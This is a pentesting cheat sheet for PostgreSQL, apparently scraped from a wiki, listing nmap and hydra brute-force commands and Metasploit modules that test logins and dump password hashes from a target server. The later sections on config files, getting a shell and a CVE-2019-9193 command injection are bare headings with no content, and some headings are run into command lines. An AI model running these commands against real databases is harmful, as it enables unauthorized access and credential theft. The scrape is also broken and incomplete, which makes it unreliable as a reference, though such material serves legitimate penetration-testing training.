PostgreSQL Pentesting
PostgreSQL a relational database management system. Default port is 5432.
Enumeration
nmap --script pgsql-brute -p 5432 <target-ip>Brute Force Credentials
hydra -l username -P passwords.txt <target-ip> postgres
hydra -L usernames.txt -p password <target-ip> postgres
# Metasploit
msfconsole
msf> use auxiliary/scanner/postgres/postgres_login
msf> set rhosts <target-ip>
msf> runDump User Hashes
msfconsole
msf> use auxiliary/scanner/postgres/postgres_hashdump
msf> set rhosts <target-ip>
msf> set username <username>
msf> set password <password>
msf> runConfig File
Connect
Remote
Commands in psql
Get a Shell and Command Execution
Command Injection ( CVE-2019-9193 )
References
Last updated